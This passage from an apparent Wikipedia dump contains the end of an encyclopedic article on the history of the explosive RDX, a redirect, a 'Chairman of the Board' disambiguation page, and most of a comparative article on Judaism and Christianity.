RDX was used by both sides in [[World War II]]. In the [[United Kingdom]] (UK) RDX was manufactured in pilot plants at [[Waltham Abbey]]  in [[1938]] and at the Research Department at the [[Royal Arsenal]], [[Woolwich]]. In [[1939]] a twin-unit industrial-scale plant was designed to be installed at a new site, [[ROF Bridgwater]], away from [[London]]; and production of RDX started at ROF Bridgwater in [[1941]]. The United Kingdom attempted to be [[self-sufficient]] in the early stages of the war, and at this time the [[United States]] (USA) was still a [[neutral country]]. [[Canada]], a member of the [[Commonwealth of Nations|British Commonwealth]], was looked upon to supply the UK with ammunition and explosives, including RDX. A different method of production, using para-[[formaldehyde]], [[ammonium nitrate]] and [[acetic anhydride]], was invented independently in Germany and by Ross and Schiessler in Canada, in [[1940]], possibly at the [[McGill University]] Department of Chemistry (Meissner?). Ross and Schiessler [[patent]]ed their process in the UK, in [[1947]], and in the USA, in [[1948]]. 

Urbanski provides details of five methods of production. The American Bachmann process for RDX, discovered in 1941, based on hexamine dinitrate, ammonium dinitrate and acetic anhydride, was found to be richer in [[HMX]] than the United Kingdom's RDX. There is a suggestion that this discovery later led to a HMX plant being set up at ROF Bridgwater in [[1955]].

RDX was widely used during [[World War II]], often in explosive mixtures with [[Trinitrotoluene|TNT]] such as Torpex (TNT (42%),RDX (40%) and aluminium (18%)). RDX was used in one of the first [[plastic explosive]]s.

There are many interpretations of its acronym including (but not limited to) Royal Demolition eXplosive, Research Department (Composition) X, and Research Department eXplosive. The former name is very unlikely, as a secret WWII military  explosive it would not have been called &quot;Royal&quot;, nor Demolition eXplosive. The latter is most likely correct. In the United Kingdom, new military explosives were given an identification number preceded by the letters 'RD' indicating 'Research Department No.'. For some reason, this explosive was unable to be given a number (the story goes that the department that issued the numbers had just blown itself up, but this may be apocryphal). Instead, the letter 'X' was appended to indicate 'unknown' with the intention of adding the number later. Although a number was issued, the term 'RDX' stuck.

==References==
* {{cite book | first = Paul W. | last = Cooper | title = Explosives Engineering | year = 1996 | location = New York | publisher = Wiley-VCH | id = ISBN 0471186368}}
* {{cite book | first = Tadeusz | last = Urbanski | title = Chemistry and Technology of Explosives, Vol. III | year = 1967 | location = Warszawa | publisher = Polish Scientific Publishers}}
* {{cite book | first = Rudolf | last = Meyer | title = Explosives | edition = 3rd Edition | year = 1987 | publisher = VCH Publishers | id = ISBN 0-89573-600-4}}

[[Category:Explosives]]
[[Category:Explosive chemicals]]
[[Category:Nitroamines]]

[[bg:Хексоген]]
[[cs:Hexogen]]
[[de:Hexogen]]
[[fr:RDX]]
[[it:Ciclotrimetilentrinitroammina]]
[[ja:RDX]]
[[lt:Heksogenas]]
[[lv:Heksogēns]]
[[nl:Cyclotrimethyleentrinitramine]]
[[pl:Heksogen]]
[[pt:RDX]]
[[ru:Гексоген]]
[[sl:Heksogen]]
[[sv:Hexogen]]
[[uk:Гексоген]]
[[zh:黑索金]]</text>
    </revision>
  </page>
  <page>
    <title>Celebes</title>
    <id>7500</id>
    <revision>
      <id>15905564</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Sulawesi]]
</text>
    </revision>
  </page>
  <page>
    <title>Chairman of the board</title>
    <id>7501</id>
    <revision>
      <id>42083144</id>
      <timestamp>2006-03-03T18:37:59Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <comment>can't forget Carrot Top!</comment>
      <text xml:space="preserve">&lt;!-- '''Chairman of the Board''' refers to the [[chairperson]] of a [[board of directors]]. --&gt;

'''Chairman of the Board''' may refer to:

* the chairperson of a [[board of directors]]
* [[Frank Sinatra]], frequently referred to as ''The Chairman of the Board''
* [[Chairman of the Board (film)|''Chairman of the Board'' (film)]], a 1998 Courtney Thorne-Smith/Carrot Top vehicle
* the 1985 winner of the [[Cane Pace]] race
* [[Whitey Ford]], nicknamed ''Chairman of the Board''

&lt;!-- move to wiktionary, or toss -- sounds oddly like the etmology of &quot;rule of thumb&quot;, cite please?
In medieval times the head of the household was the only member with a chair (with arms); all others sat on a bench. The &quot;board&quot; refers to the table.
--&gt;

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Judaism and Christianity</title>
    <id>7502</id>
    <revision>
      <id>41825934</id>
      <timestamp>2006-03-02T00:11:37Z</timestamp>
      <contributor>
        <username>Csernica</username>
        <id>10643</id>
      </contributor>
      <comment>rv; edit resulted in non-sequitur</comment>
      <text xml:space="preserve">{{TOCright}}
'''[[Judaism]] and [[Christianity]]''' are two closely related [[Abrahamic religion]]s that are in some ways parallel to each other and in other ways fundamentally divergent in theology and practice. Whereas the article on the [[Judeo-Christian]] tradition emphasizes continuities and convergences between the two religions, this article emphasizes that Judaism and Christianity each have widely diverging views of their respective relationship to the other, and of elements they have in common, such as the Bible and God. 

== Neither religion is monolithic ==

As with the article on the [[Judeo-Christian]] tradition, this article makes generalizations about Jewish and Christian beliefs and practices.  Nevertheless, it is very important to understand that neither religion is monolithic; there is no single &quot;Judaism&quot;, as there is no single &quot;Christianity&quot;.  Instead, there are wide variations on a theme concerning belief and practice both among ''individual'' Jews and Christians and between different Jewish and Christian ''groups''
(indeed, there exist some Christians and Jews who hold that other Christians and Jews are not in fact the same religion.)

== Raison d'être of the religion ==
Each religion has a [[mythos]], that is, an internal description of its [[raison d'être]].

That of Christianity is to provide all human beings with the only valid path to [[salvation]] (John 14:26, [[Great Commission]]).  Christians believe people are by [[original sin|nature sinful]]. Christians believe that [[Jesus]] was both the [[Son of God]] and [[Nicene Creed|God the Son]], [[God]] made [[incarnate]]; that Jesus' death by [[crucifixion]] was a [[Atonement|sacrifice to atone]] for all humanity's sins, and that acceptance of Jesus as the [[Christ]] saves one from [[sin]] ([[John 3:16]]). 

Judaism's raison d'être is to give concrete form to the [[covenant]] between [[God]] and the [[Jewish people]].  The Torah, both [[Torah|written]] and [[Rabbinic Judaism|oral]], both tell the story of this covenant, and provide Jews with the terms of the covenant.  The Torah (teaching) thus guides Jews to walk in God's ways (Deut 30:16), to help them learn how to live a holy life on earth, and to bring holiness into the world and into every part of life so that life may be elevated to a high level of sanctity (Lev 19:2). This will allow the Jewish people as a community to be a &quot;light unto the nations&quot; (Isa 42:6, 49:6, 60:3) over the course of history (ie, a [[role model]]) and part of the divine intent of bringing about an [[Kingdom of God#The Kingdom in Jewish thought|age of peace and sanctity]]. Judaism does not see the [[afterlife]] as a core part of this, or a major factor needed to justify why it is necessary. Ideally a faithful life and good deeds should be ends in themselves, not means.

== The nature of religion: national versus universal ==

[[Judaism]] does not characterize itself as a religion so much as a way of life (although one can speak of the Jewish religion and religious Jews).  The subject of the [[Tanakh]] (Hebrew Bible) is the history of the Children of [[Jacob|Israel]] (also called Hebrews), especially in terms of their relationship with [[God]]. Thus, Judaism has also been characterized as a culture or as a civilization. [[Rabbi]] [[Mordecai Kaplan]] defines Judaism as an evolving religious civilization. One crucial sign of this is that one need not believe, or even do, anything to be Jewish; the historic definition of 'Jewishness' requires only that one be born of a Jewish mother, or that one convert to Judaism in accord with [[halakha|Jewish law]]. (Today, [[Reform Judaism|Reform]] and [[Reconstructionist Judaism|Reconstructionist Jews]] also include those born of Jewish fathers and Gentile mothers if the children are raised as Jews.) 

To religious [[Jew]]s, Jewish peoplehood is closely tied to their relationship with God, and thus has a strong theological component.  This relationship is encapsulated in the notion that Jews are a [[chosen people]].  Although many non-Jews have taken this as a sign of arrogance or exclusivity, Jewish scholars and theologians have emphasized that a special relationship between Jews and God does not in any way preclude other nations having their own relationship with God, and does not mean Jews are superior to members of other nations.  In this sense, &quot;chosen&quot; means chosen to undertake a duty, a responsibility or a role, rather than chosen as higher status or more deserving. For strictly observant Jews, being &quot;chosen&quot; fundamentally means that it was Gods wish that a group of people would exist in a [[covenant]] with Him, and would be bound to obey a certain set of laws (see [[Torah]] and [[halakha]]) as a duty of their covenant.  They view their divine purpose as being ideally a &quot;light upon the nations&quot; and a &quot;holy people&quot; (ie, a people who live their lives fully in accordance with Divine will), not &quot;the one path to God&quot;. 

Jews hold that other nations and peoples are not required (or expected) to obey Jewish law.  The only laws Judaism believes are automatically binding on other nations are known as the [[Noahide Laws|Seven Laws of Noah]] (which are humanitarian rather than religious). Thus, as a national religion, Judaism holds that others may have their own, different, paths to God (or holiness, or &quot;salvation&quot;).

Christianity, on the other hand, is characterized by its claim to universality, which marks a significant break from Jewish identity and thought.  Christians believe that Christianity represents the fulfillment of God's promise to Abraham and the nation of Israel, that Israel would be a blessing to all nations.  Although Christians generally believe their religion to be very inclusive (since not only Jews but all gentiles can be Christian), Jews see Christianity as highly exclusive, because it views non-Christians (such as Jews) as having an incomplete or imperfect relationship with God, and therefore excluded from grace, salvation, or heaven.  From this point of view, Christianity, despite its claims, is not universal.

This crucial difference between the two religions has other implications.  For example, [[Religious conversion#Conversion to Judaism|conversion to Judaism]] is more like a form of adoption, or changing national citizenship (i.e. becoming a formal member of the people, or tribe), whereas [[Religious conversion#Conversion to Christianity|conversion to Christianity]] is explicitly a declaration of faith. Depending on the denomination, this conversion sometimes has a social component, as the individual is in many ways adopted into a [[Church]], with a strong family model.  

Both Judaism and Christianity have been affected by the diverse cultures of their respective members.  For example, what Jews from Eastern Europe and from North Africa consider &quot;Jewish food&quot; has more in common with the cuisines of non-Jewish Eastern Europeans and North Africans than with each other.  According to non-Orthodox Jews and critical historians, Jewish law too has been affected by surrounding cultures (for example, some scholars argue that the establishment of absolute [[monotheism]] in Judaism was a reaction against the [[dualism]] of [[Zoroastrianism]] that Jews encountered when living under [[Persians|Persian]] rule; Jews rejected [[polygamy]] during the middle ages, influenced by their Christian neighbors).  According to Orthodox Jews too there are variations in Jewish custom from one part of the world to another.  It was for this reason that [[Joseph Karo]]'s [[Shulchan Aruch HaRav]] became established as the authoritative code of Jewish law after [[Moshe Isserlis]] added his commentary, documenting variations in local custom.

== Concepts of God ==

Both Jews and Christians believe in the [[God]] of [[Abraham]], [[Isaac]] and [[Jacob]], for Jews the God of the [[Tanakh]], for Christians the God of the [[Old Testament]], the [[Creator God|creator of the universe]].  Both religions reject the view that God is entirely [[immanent]], and within the world as a physical presence, (although Christians believe in the [[incarnation]] of God). Both religions reject the view that God is entirely [[Transcendence (religion)|transcendent]], and thus separate from the world, as the pre-Christian Greek [[Unknown God]], (although this can be argued in some Judaic thought). Both religions reject [[atheism]], on the one hand, and [[polytheism]], on the other. 

Both religions agree that God shares both transcendent and immanent qualities. How these religions resolve this issue is where the religions differ. Most of Christianity posits that God is the [[Trinity]]; in this view God exists as three distinct entities which share a single divine essence, or substance. In those three there is one, and in that one there are three; the one God is indivisible, while the three entities are distinct and unconfused, Abba God, Jesus and the Holy Spirit.  It teaches that God became especially immanent in physical form through the [[Incarnation]] of [[Jesus]], who is believed to be at once [[Hypostatic union|fully God and fully human]].  By contrast, Judaism sees God as a [[Divine simplicity|single entity]], and views trinitarianism as both incomprehensible and a violation of the Bible's teaching that God is one. It rejects the notion that Jesus or any other object or living being could be 'God', that God could have a literal 'son' in physical form or is divisible in any way, or that God could be made to be joined to the [[Nature|material world]] in such fashion.  Although Judaism provides Jews with a word to label God's transcendence (''[[Ein Sof]]'', without end) and immanence (''[[Shekhinah]]'', in-dwelling), but these are merely human words to describe two ways of experiencing God; God is one and indivisible.

Some Jewish and Christian philosophers hold that due to these differences, it may well be that Jews and Christians don't believe in the same god at all. The majority Jewish view, codified in [[halakha|Jewish law]], is that Christians do worship the same God that Jews do but with extras - called a 'Sheetoof' (combination). The vast majority of Christians have always held that they worship the same God as the Jews.

== Understanding of the Bible ==

Jews and Christians seek authority from many of the same basic books, but they conceive of these books in significantly different ways.

The [[Tanakh|Hebrew Bible]] is comprised of three parts:
* [[Torah]] - the five books of Moses
* [[Nevi'im]] - the writings of the Prophets, and
* [[Ketuvim]] - other writings canonised over time, such as the Books of Esther, Jonah, Ruth or Job.
Collectively, these are known as the [[Tanakh]], a Hebrew acronym for the first letters of each.  Rabbinical Judaism traditionally believes that these written works were also accompanied by an oral tradition which taught how to perform commandments that are not stated explicitly in the Torah (i.e. what a [[Menorah]] looks like and what is meant by &quot;Frontlets&quot; in the [[Shema]]), and that it was revealed to [[Moses]] at Sinai and passed down through generations and eventually written down in the [[Talmud]] (see below).

Judaism accept as authoritative an [[oral law]] which explains the meaning and application of the laws in the Tanakh. These works of oral law are today collected in the [[Mishnah]], which was written down around 200 C.E., and a Babylonian and a Jerusalem [[Talmud]], which were edited around 600 C.E. and 450 C.E., respectively.

Since the transcription of the Talmud, notable rabbis have compiled law codes that are generally held in high regard: the [[Mishnah Torah]], the [[Tur]], and the [[Shulchan Aruch]], which is generally held to be authoritative by Orthodox Jews.  The [[Zohar]], which was written in the thirteenth century, is generally held as the most important mystical treatise of the Jews.

Within the Torah, Jews find [[613 Mitzvot]] (formal divine commandments), of which some are positive obligations, and others negatives that must be avoided. These form the basis of their understanding of the law. The in-depth examination to understand the commandments and their true significance and scope, to &quot;walk in My ways&quot;, forms a major thread within the Talmud and other Jewish writings.

For Jews, the Torah is one's primary guide to the relationship between God and man, a living document that has unfolded and will continue to unfold whole new insights over the generations and millennia. A saying that captures this goes, &quot;Turn it [the Torah's words] over and over again, for everything is in it.&quot;

Jews do not accept the characterization of their sacred texts as an [[Old Testament]], nor do they believe that the [[New Testament]] has religious authority. Many Jews see Christians as having quite an ambivalent view of the Torah (or the Mosaic Law part of the Old Testament as it is known to Christians), on the one hand it is God's absolute word, on the other hand at times [[Cafeteria Christianity|treating commandments very selectively]]. As it seems to some Jews, Christians cite from the Old Testament commandments to support one point of view but then ignore other commandments of a similar class which are also of equal weight. Examples of this are certain commandments where God states explicitly they shall abide &quot;for ever&quot;, or where God states a particular thing is an &quot;abomination&quot;, but which are not undertaken by most Christians. Some forms of Christianity even go so far as [[Antinomianism]].

Christians reject the Jewish oral law (Matt. 15:6). However in a similar way [[Roman Catholicism|Roman Catholic]] and [[Orthodox Christianity]] consider their [[Sacred Tradition]] as the correct interpretation, while [[Protestantism|Protestants]] hold to the principle of [[sola scriptura]]. Christians disagree with the Jewish order of sacred texts (and some Christian traditions have included in their [[Old Testament]] books that are not included in today's Jewish canon, although they were included in the Jewish [[Septuagint]]). Historically, the Jewish oral tradition was not written down until the period of the Roman Empire, in the early centuries CE([[Talmud|Babylonian Talmud]] [[Palestinian Talmud|Jerusalem Talmud]]) and later developed more thoroughly through codification.  Many Christians reject the covenant with God embodied in traditional Jewish scriptures and oral traditions as obsolete, and thus refer to their canon of Hebrew books as the &quot;[[Old Testament]].&quot;  Some Christians believe that God has established a [[New Covenant]] with people, and that this new covenant is established in an additional set of books collectively called the [[New Testament]], together with the oral teachings of Jesus to the Apostles which have been handed down to this day.

== Sin and Original Sin ==

In both religions, one's offenses against the will of God are called [[sin]] (in Christianity the full name is &quot;actual sin&quot;). These sins can be thoughts, words, or deeds. 

Catholicism categorizes sins into various groups. A wounding of the relationship with God is often called [[venial sin]]; a complete rupture of the relationship with God is often called [[mortal sin]].  Without salvation from sin (see below), a person's separation from God is permanent, causing such a person to enter [[Hell]] in the afterlife.  

[[Original Sin]] is a slightly different concept in Christianity, it is not part of Jewish belief or philosophy.  Original sin refers to the idea that the sin of [[Adam and Eve]]'s disobedience (sin &quot;at the origin&quot;) has passed on a spiritual heritage, so to speak. Christians teach that human beings inherit a corrupted or damaged human nature in which the tendency to do bad is greater than it would have been otherwise, so much so that human nature would not be capable now of participating in the afterlife with God. This is not a matter of being &quot;guilty&quot; of anything; each person is only personally guilty of their own actual sins.  However, this understanding of original sin is what lies behind the Christian emphasis on the need for spiritual salvation from a spiritual Saviour, who can forgive and set aside sin even though humans are not inherently pure and worthy of such salvation.  [[Paul of Tarsus|St. Paul]] in [[Epistle to the Romans|Romans]] and [[1 Corinthians|First Corinthians]] placed special emphasis on this doctrine, and stressed that belief in Jesus would allow Christians to overcome death and attain salvation in the hereafter.   

[[Roman Catholicism|Roman Catholics]], [[Eastern Orthodoxy|Eastern Orthodox]] Christians, and some [[Protestantism|Protestants]] teach the Sacrament of [[Baptism]] is the means by which each person's damaged human nature is healed and [[Sanctifying Grace]] (capacity to enjoy and participate in the spiritual life of God) is restored.  This is referred to as &quot;being born of water and the Spirit,&quot; following the terminology in the [[Gospel]] of St. John.  Most [[Protestantism|Protestants]] believe this salvific grace comes about at the moment of personal decision to follow Jesus, and that [[Baptism]] is a symbol of the grace already received.

The Hebrew word for sin, ''het'', literally means &quot;to go astray.&quot;  Just as Jewish law, ''halachah'' provides the proper &quot;way&quot; (or path) to live, sin involves straying from that path.  Judaism teaches that humans are born morally neutral and have free will.  Jews have no concept of Original Sin, and do not accept it; instead, Judaism affirms that people are born with a ''yetzer hatov'', (literally, &quot;the good inclination&quot;, in some views, a tendency towards goodness, in others, a tendency towards having a productive life and a tendency to be concerned with others) and with a ''yetzer hara'', (literally &quot;the evil inclination&quot;, in some views, a tendency towards evil, and in others, a tendency towards base or animal behaviour and a tendency to be selfish).  In Judaism all human beings are believed to have free will and can choose the path in life that they will take. There is almost always a &quot;way back&quot; if a person wills it. (Although texts mention certain categories for whom the way back will be exceedingly hard, such as the slanderer, and the malicious person)

The rabbis recognize a positive value to the ''yetzer hara'': one tradition identifies it with God's observation on the last day of creation that His accomplishment was &quot;very good&quot; (God's work on the preceding days was just described as &quot;good&quot;) and explain that without the yetzer ha'ra there would be no marriage, children, commerce or other fruits of human labor; the implication is that yetzer ha'tov and yetzer ha'ra are best understood not as moral categories of good and evil but as selfless versus selfish orientations, either of which used rightly can serve God's will. 

Or as Rabbi [[Hillel]] famously summarised the Jewish philosophy:
:''&quot;If I am not for myself, who will be for me?''
:''&quot;But if I am not for &lt;u&gt;others&lt;/u&gt; - what am I?''
:''&quot;And if not now [if I do not choose now], [then] when?''

Another explanation is, without the existence of the yetzer ha'ra, there would be no merit earned in following God's commandments; choice is only meaningful if there has indeed been a choice made. So whereas creation was &quot;good&quot; before, it became &quot;very good&quot; when the evil inclination was added, for then it became possible to truly say that man could make a true choice to obey God's &quot;mitzvot&quot; (wishes or commandments). This is because Judaism views the following of God's ways as a desirable end in and of itself rather than a means to an end.

Jews recognize two kinds of &quot;sin,&quot; offenses against other people, and offenses against God.  Offenses against God may be understood as violation of a contract (the covenant between God and the Children of Israel). Since the destruction of the [[Temple in Jerusalem]], Jews have believed that right action (as opposed to right belief) is the way for a person to atone for one's sins. [[Midrash]] ''Avot de Rabbi Natan'' states the following:

:One time, when Rabban Yochanan ben Zakkai was walking in [[Jerusalem]] with Rabbi Yehosua, they arrived at where the Temple now stood in ruins. &quot;Woe to us&quot; cried Rabbi Yehosua, &quot;for this house where atonement was made for Israel's sins now lies in ruins!&quot; Answered Rabban Yochanan, &quot;We have another, equally important source of atonement, the practice of ''gemilut hasadim'' (&quot;loving kindness&quot;), as it is stated &quot;I desire loving kindness and not sacrifice&quot; ([http://www.chabad.org/library/article.asp?AID=16160&amp;showrashi=true Hosea 6:6]).

The Babylonian [[Talmud]] states:
:Rabbi Yochanan and Rabbi Eleazar both explain that as long as the Temple stood, the altar atoned for Israel, but now, one's table atones [when the poor are invited as guests]. (Tractate Berachot, 55a.) 

The liturgy of the Days of Awe (the High Holy Days; i.e. [[Rosh Hashanah]] and [[Yom Kippur]]) states that prayer, repentance and [[tzedakah]] (the dutiful giving of charity) atone for sin. But prayer cannot atone for wrongs done, without an honest sincere attempt to rectify any wrong done to the best of one's ability, and the sincere intention to avoid repetition. Atonement to Jews means to repent and set aside, and the word &quot;T'shuvah&quot; used for atonement actually means &quot;to return&quot;. Judaism is optimistic in that it always sees a way that a determined person may return to what is good, and that God waits for that day too.

== Faith versus good deeds ==

Judaism teaches that the purpose of the [[Torah]] is to show that good deeds are considered in holiness as much or even more important than belief in God, and that both are required of people. An old Jewish saying captures this sentiment, &quot;If you hear the Messiah has come, and you are doing a job, finish the job properly, then go and see.&quot; Although the Torah commands Jews to believe in God, Jews see belief in God as a necessary, but not sufficient, condition for a Jewish life. The quintessential verbal expression of Judaism is the [[Shema Yisrael]], the statement that the God of the Bible is their God, and that this God is unique and one. The quintessential physical expression of Judaism is behaving in accordance with the [[613 Mitzvot]] (the commandments specified in the Torah), and thus live one's life in God's ways. 

Thus fundamentally in Judaism, one is enjoined to bring holiness into life (with the guidance of Gods laws), rather than removing oneself from life to be holy.

Much of [[Christianity]] also teaches that God wants people to perform good works, but all branches hold that good works alone will not lead to salvation, which is called [[Legalism (theology)|Legalism]]. Some Christian denominations hold that salvation depends upon transformational faith in Jesus which expresses itself in good works as a testament (or witness) to ones faith for others to see (primarily [[Eastern Orthodoxy|Eastern Orthodox]] Christianity and [[Roman Catholic|Roman Catholicism]]), while others (including most Protestants) hold that faith alone is necessary for salvation.  However, the difference is not as great as it seems, because it really hinges on the definition of &quot;faith&quot; used. The first group generally uses the term &quot;faith&quot; to mean &quot;intellectual and heartfelt assent and submission.&quot;  Such a faith will not be salvific until a person has allowed it to effect a life transforming conversion (turning towards God) in their being (see [[ontological faith]]).  The Christians that hold to &quot;salvation by faith alone&quot; (also called by its Latin name &quot;[[sola fide]]&quot;) define faith as being implicitly [[ontological]]--mere intellectual assent is not termed &quot;faith&quot; by these groups.  Faith, then, is life-transforming by definition.  

A practical outcome of this difference is the attitudes of the two religions to ''death bed conversions''. According to most forms of classical Christianity, one may lead an evil life, but on one's death one may repent for one's sins, accept Jesus as Christian dogma teaches, and then that person will be rewarded with a heavenly afterlife by God; this will be the same heavenly paradise that a comparatively less sinful person would receive. In contrast, all forms of Judaism teach that God judges a person based on their whole lifetime of actions and beliefs, and that deathbed conversions are therefore meaningless and have minimal effect on God's view of their life.

== Love ==
Love is a central value in both Judaism and Christianity.  In ''Jesus and Yahweh: The Names Divine'', literary critic [[Harold Bloom]] argues that their notions of love are fundamentally different.  Specifically, he links the Jewish conception of love to justice, and the Christian conception of love to charity.

As in English, the Hebrew word for &quot;love,&quot; [[ahavah]] אהבה, is used to describe intimate or romantic feelings or relationships, such as the love between parent and child in [[Genesis]] 22:2; 25: 28; 37:3; the love between close friends in [[Books of Samuel|I Samuel]] 18:2, 20:17; or the love between a young man and young woman in [[Song of Songs]]. 

Like many Jewish scholars and theologians, Bloom understands Judaism as fundamentally a religion of love.  But he argues that one can understand the Hebrew conception of love only by looking at one of the core commandments of Judaism, [[Leviticus]] 19:18, &quot;Love your neighbor as yourself.&quot;  This commandment is, arguably, at the center of the Jewish faith.  As the third book of the [[Torah]], Leviticus is literally the central book.  Historically, Jews have considered it of central importance: traditionally, children began their study of the Torah with Leviticus, and the [[midrash]]ic literature on Leviticus is among the longest and most detailed of midrashic literature (see Bamberger 1981: 737).  Bernard Bamberger considers Leviticus 19, beginning with God's commandment in verse 3 &amp;ndash; &quot;You shall be holy, for I the Lord your God, am holy&quot; &amp;ndash; to be &quot;the climactic chapter of the book, the one most often read and quoted&quot; (1981:889).  Leviticus 19:18 is itself the climax of this chapter.

As theologian [[Franz Rosenzweig]] has pointed out, &quot;love&quot; in this context is remarkably different from the more common examples of love in that it constitutes an impersonal relationship:
:...the neighbor is only a representative.  He is not loved for his own sake, nor for his beautiful eyes, but only because he just happens to be standing there, because he happens to be nighest to me.  Another could easily stand in his place &amp;mdash; precisely at this place nearest me.  The neighbor is the other ...
(This point is underscored by another verse in the same chapter, Leviticus 19: 34, commanding the Children of Israel to love strangers.)

According to Franz Rosenzweig, the commandment to love one's neighbor itself arises out of another unique love: the relationship between God and the [[Children of Israel]]. That the relationship between God and the Children of Israel is a romantic relationship and comparable to the marital bond is made clear in [[Hosea]] 2:19 (see also [[Ezekiel]] 16:8, 60; [[Isaiah]] 54:5; [[Jeremiah]] 3:14; 31:32).  The centrality of love to the relationship between God and Israel is epitomized in [[Deuteronomy]] 6: 4-5: &quot;Hear O Israel, the Lord is our God; the Lord is one.  You shall love the Lord your God with all your heart, with all your soul, and with all your might.&quot;  Arguably, this commandment is as central to Judaism as as Leviticus 19: 18, as it was recited twice daily in the [[Temple in Jerusalem]], and in the prayers of all observant Jews.  Moreover, the Rabbis dictated that all Jews should recite this verse at the moment of their death (this custom contrasts with Mathew 27: 46, &quot;About the ninth hour Jesus cried out in a loud voice, 'Eloi, Eloi, lama sabachthani?' — which means, &quot;My God, my God, why have you forsaken me?&quot; see also Mark 15: 33; Luke 23: 46, however, is closer to the spirit of Jewish practice: &quot;Jesus called out with a loud voice, 'Father, into your hands I commit my spirit.' When he had said this, he breathed his last.&quot;)

Apparently by the Hellenistic period these two commandments were understood to be central to Jewish faith (see Mark 12: 28-32).  Rosenzweig believes that these two commandments to love are inextricably connected, but in a complex way.  He finds it remarkable that throughout the [[Torah]] God demands that Israel love Him, yet never professes love for Israel (except in the future; that if Israel loves God He will bless them in return).  But he does not see this as evidence that God does not love Israel; on the contrary.  Rosenzweig asks, how can someone command love?  The only answer, he argues, is that only a lover can do so; only one who loves can demand, &quot;love me!' in return (Rosenzweig 1970: 176-177).  The consequences of this demand, according to Rosenzweig, provide the foundation for Judaism.

The first consequence of being loved, according to Rosenzweig, is a feeling of shame:
:In the admission of love, the soul bares itself.  To admit that one requites love and in the future wants nothing but to be loved &amp;mdash; this is sweet.  But it is hard to admit that one was without love in the past.  And yet &amp;mdash; love would not be the moving, the gripping, the searing experience that it is if the moved, gripped, seared soul were not conscious of the fact that up to this moment it had not been moved or gripped.  Thus a shock was necessary before the self could become the beloved soul.  And the soul is ashamed of its former self, and that it did not, under its own power, break this spell in which it was confined.  This is the shame that blocks the beloved mouth that wishes to make acknowledgment.  The mouth has to acknowledge its past and still present weakness by wishing to acknowledge its already present and future bliss. (Rosenzweig 1970: 179)
Thus, the immediate response to God's commandment to love is to confess, &quot;I have sinned.&quot;  For Rosenzweig this confession is not a source of shame; on the contrary, by speaking a truth about the past, it makes love in the present possible and thus &quot;abolishes shame.&quot;  

Consequently, Rosenzwieg does not believe that this confession requires absolution:
:It is not God that need cleanse it [the soul of the beloved, i.e. Israel] of its sin.  Rather it cleanses itself in the presence of his love.  It is certain of God's love in the very moment that shame withdraws from it and it surrenders itself in free, present admission &amp;mdash; as certain as if God had spoken into its ear that &quot;I forgive&quot; which is longed for earlier when it confessed to him its sins of the past.  It no longer needs this formal absolution.  It is freed of its burden at the very moment of daring to assume all of it on its shoulders.  So too the beloved no longer needs the acknowledgment of the lover which she longed for before she admitted her love.  At the very moment when she herself dares to admit it, she is as certain of his love as if he were whispering his acknowledgment into her ear. (Rosenzweig 1970: 180-181)
In other words, Rosenzweig sees in the Hebrew Bible a &quot;grammar of love&quot; in which God can communicate &quot;I love you&quot; only by demanding &quot;You must love me,&quot; and Israel can communicate &quot;I love you&quot; only by confessing &quot;I have sinned.&quot;  Therefore, this confession does not lead God to offer an unnecessary absolution; it merely expresses Israel's love for God.  

But &quot;What then is God's answer to this 'I am thine' by which the beloved soul acknowledges him&quot; if it is not &quot;absolution?&quot;  Rosenzweig's answer is: revelation: &quot;He cannot make himself known to the soul before the soul has acknowledged him.  But now he must do so.  For this it is by which revelation first reaches completion.  In its groundless presentness, revelation must now permanently touch the ground.&quot; (Rosenzweig 1970: 182)  Revelation, epitomized by Sinai, is God's response to Israel's love.  Contrary to Paul, who argued that &quot;through the law comes knowledge of sin&quot; (Romans 3: 20), Rosenzweig argues that it is because of and after a confession of sin that God reveals to Israel knowledge of the law.

For Rosenzweig as for the [[Rabbinic Judaism|Rabbis]], [[Song of Songs]] provides a paradigm for understanding the love between God and Israel, a love that &quot;is strong as death&quot; (Song of Songs 8:6; Rosenzweig 1970: 202).  God's love is as strong as death because it is love for the People Israel, and it is as a collective that Israel returns God's love.  Thus, although one may die, God and Israel, and the love between them, lives on.  In other words, Song of Songs is &quot;the focal book of revelation&quot; (Rosenzweig 1970: 202) where the &quot;grammar of love&quot; is most clearly expressed. But, Rosenzweig argues, this love that is as strong as death ultimately transcends itself, as it takes the form of God's law &amp;mdash; for it is the law that binds Israel as a people, and through observance of the law that each Jew relives the moment of revelation at Mt. Sinai.  Ultimately, Song of Songs points back to Leviticus and the rest of the Torah.

Song of Songs largely describes a clandestine love affair, forbidden by the woman's brothers (Song of Songs 8: 8-9), and scorned by her friends (Song of Songs 5:9).  For Rosenzweig, the concealed nature of this romance is emblematic of the way lovers lose themselves in one another.  Yet the book itself struggles against this private love.  &quot;O that you were like a brother to me,&quot; the woman cries, &quot;that nursed at my mother's breast! If I met you outside, I would kiss you, and none would despise me&quot; (Song of Songs 8:1).  The point, for Rosenzweig, is that love neither can nor should remain private.
:Now she is his.  Is she?  Does not something ultimate still separate them at the pinncale of love &amp;mdash; beyond even that &quot;Thou art mine&quot; of the lover, beyond even that peace which the beloved found in his eyes, this last word of her overflowing heart?  Does there not still remain one last separation?  The lover has explained his love for her .... But will this explanation do?  Does not life demand more than explanation, more than the calling by name? Does it not demand reality?  And a sob escapes the blisfully overflowing heart of the beloved and forms into words, words which haltingly point to something unfulfilled, something which cannot be fuliflled in the immediate revelation of love: &quot;O that you were like a brother to me!&quot;  Not enough that the beloved lover calls his bride by the name of sister in the flickering twilight of allusion.  The name ought to be the truth.  It should be heard in the bright light of &quot;the street,&quot; not whispered into the beloved ear in the dusk of intimate duo-solitude, but in the eyes of the multitude, officially &amp;mdash; &quot;who would grant&quot; that! Yes, who would grant that?  Love no longer grants it.  In truth, this &quot;who would grant&quot; is no longer directed to the beloved lover.  Love after all always remains between two people; it knows only of I and Thou, not the street.  This longing cannot be fulfilled in love ... (Rosenzweig 1970: 203-204)
